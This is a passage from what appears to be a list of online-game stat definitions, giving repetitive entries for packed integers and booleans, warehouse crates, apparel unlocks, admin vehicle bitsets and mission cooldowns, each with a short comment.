Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT192 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT193 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT194 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT195 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT196 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT197 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT198 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT199 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT200 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT201 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT202 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT203 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT204 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT205 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT206 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT207 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT208 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT209 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT210 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + + +(packed)MP_NGDLCPSTAT_INT0 // Stat with Packed integers index 0. Takes up to 8 integers. + +(packed)NGDLCPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGDLCPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGDLCPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGDLCPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGDLCPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers + +(packed)MP_NGDLCPSTAT_BOOL0 // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGDLCPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGDLCPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGDLCPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGDLCPSTAT_BOOL3 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)WARHOUSESLOT0 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)WARHOUSESLOT1 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)WARHOUSESLOT2 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)WARHOUSESLOT3 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)WARHOUSESLOT4 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)CONTOTALFORWHOUSE0 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)CONTOTALFORWHOUSE1 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)CONTOTALFORWHOUSE2 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)CONTOTALFORWHOUSE3 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)CONTOTALFORWHOUSE4 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. + +(int)SPCONTOTALFORWHOUSE0 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)SPCONTOTALFORWHOUSE1 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)SPCONTOTALFORWHOUSE2 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)SPCONTOTALFORWHOUSE3 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)SPCONTOTALFORWHOUSE4 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. + +(int)MISSIONFORWHOUSE0 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)MISSIONFORWHOUSE1 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)MISSIONFORWHOUSE2 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)MISSIONFORWHOUSE3 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. +(int)MISSIONFORWHOUSE4 // Add MP0_ or MP1_ // Server authoritative stats for warehouse and contraband ownership setup. + +(int)TIMELASTSUCCSELLMISSION // Add MP0_ or MP1_ // Help text display +(int)MPPLY_VIPGAMEPLAYDISABLEDTIMER // cooldown before players can participate in VIP gameplay after griefing +(int)TIMELASTSUCCBUYMISSION // Add MP0_ or MP1_ // track the buy mission cooldown +(int)TIMELASTSUCCBUYMISSION0 // Add MP0_ or MP1_ // track the buy mission cooldown +(int)TIMELASTSUCCBUYMISSION1 // Add MP0_ or MP1_ // track the buy mission cooldown +(int)TIMELASTSUCCBUYMISSION2 // Add MP0_ or MP1_ // track the buy mission cooldown +(int)TIMELASTSUCCBUYMISSION3 // Add MP0_ or MP1_ // track the buy mission cooldown +(int)TIMELASTSUCCBUYMISSION4 // Add MP0_ or MP1_ // track the buy mission cooldown +(int)NUMBUYMISSIONSCOMPLETED // Add MP0_ or MP1_ // track the buy mission cooldown +(string)GB_OFFICE_NAME // Add MP0_ or MP1_ // players office name +(int)LIFETIME_BUY_COMPLETE // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_BUY_UNDERTAKEN // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_SELL_COMPLETE // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_SELL_UNDERTAKEN // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_CONTRA_EARNINGS // Add MP0_ or MP1_ // track lifetime mission progress + +(int)DLC_APPAREL_ACQUIRED_68 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_69 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_70 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_71 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_72 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_73 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_74 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_75 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_76 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_77 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_68 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_69 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_70 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_71 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_72 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_73 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_74 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_75 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_76 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_77 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DELIVERY_VEH_UPGRADES // Add MP0_ or MP1_ // store delivery vehicle upgrades +(bool)ACCOUNTANTSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)BAHAMAMAMASHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)DRONESHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)GROTTISHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)GOLFSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)MAISONETTESHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)MANOPAUSESHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)MELTDOWNSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)PACIFICBLUFFSSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)PROLAPSSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)TENNISSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)TOESHOESSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)VANILLAUNICORNSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)MARLOWESHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)CRESTSHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards + +(int)ADMIN_VEH_GV_BS_9 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_9 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + +(int)ADMIN_VEH_GV_BS_10 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_10 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + +(int)ADMIN_VEH_GV_BS_11 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_11 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + +(int)ADMIN_VEH_GV_BS_12 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_12 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + +(int)ADMIN_VEH_GV_BS_13 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_13 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + +(int)ADMIN_VEH_GV_BS_14 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_14 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + + +(int)ADMIN_VEH_GV_BS_15 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_15 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + +(int)ADMIN_VEH_GV_BS_16 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 9 set by SCADMIN +(int)ADMIN_VEH_RM_BS_16 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 9 set by SCADMIN + + +(string)GB_OFFICE_NAME2 // Add MP0_ or MP1_ // players office name 2 +(int)FONT_PLAYER_OFFICE // Add MP0_ or MP1_ // log in item rewards +(int)COLOUR_PLAYER_OFFICE // Add MP0_ or MP1_ // log in item rewards + +(u64)WAREHOUSE_CRATES0 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES1 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES2 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES3 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES4 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES5 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES6 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES7 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES8 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES9 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES10 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES11 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES12 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES13 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES14 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES15 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES16 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES17 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES18 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES19 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES20 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES21 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES22 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES23 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES24 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES25 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES26 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES27 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES28 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES29 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES30 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES31 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES32 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES33 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES34 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES35 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES36 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES37 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES38 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES39 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES40 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES41 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES42 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES43 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES44 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES45 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES46 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES47 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES48 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES49 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES50 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES51 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES52 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES53 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES54 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES55 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES56 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES57 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES58 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES59 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES60 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES61 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES62 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES63 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES64 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES65 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES66 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES67 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES68 // Add MP0_ or MP1_ // warehouse crates storage +(u64)WAREHOUSE_CRATES69 // Add MP0_ or MP1_ // warehouse crates storage +(bool)BLOCK_CEO_WORK // Add MP0_ or MP1_ // block bw +(int)TIMECONTRAEARNCD // Add MP0_ or MP1_ // contraband destroy earning cooldown +(int)TIMELASTSUCCSELLMISSION1 // Add MP0_ or MP1_ // Help text display +(int)TIMELASTSUCCSELLMISSION2 // Add MP0_ or MP1_ // Help text display +(int)TIMELASTSUCCSELLMISSION3 // Add MP0_ or MP1_ // Help text display +(int)TIMELASTSUCCSELLMISSION4 // Add MP0_ or MP1_ // Help text display + +(int)TATTOO_FM_UNLOCKS_20 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_20 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_20 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_21 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_21 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_21 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(bool)IS_VISOR_UP // Add MP0_ or MP1_ // Is visor up + +(int)DCTL_WINS // Add MP0_ or MP1_ // Number of DCTL wins +(int)DCTL_PLAY_COUNT // Add MP0_ or 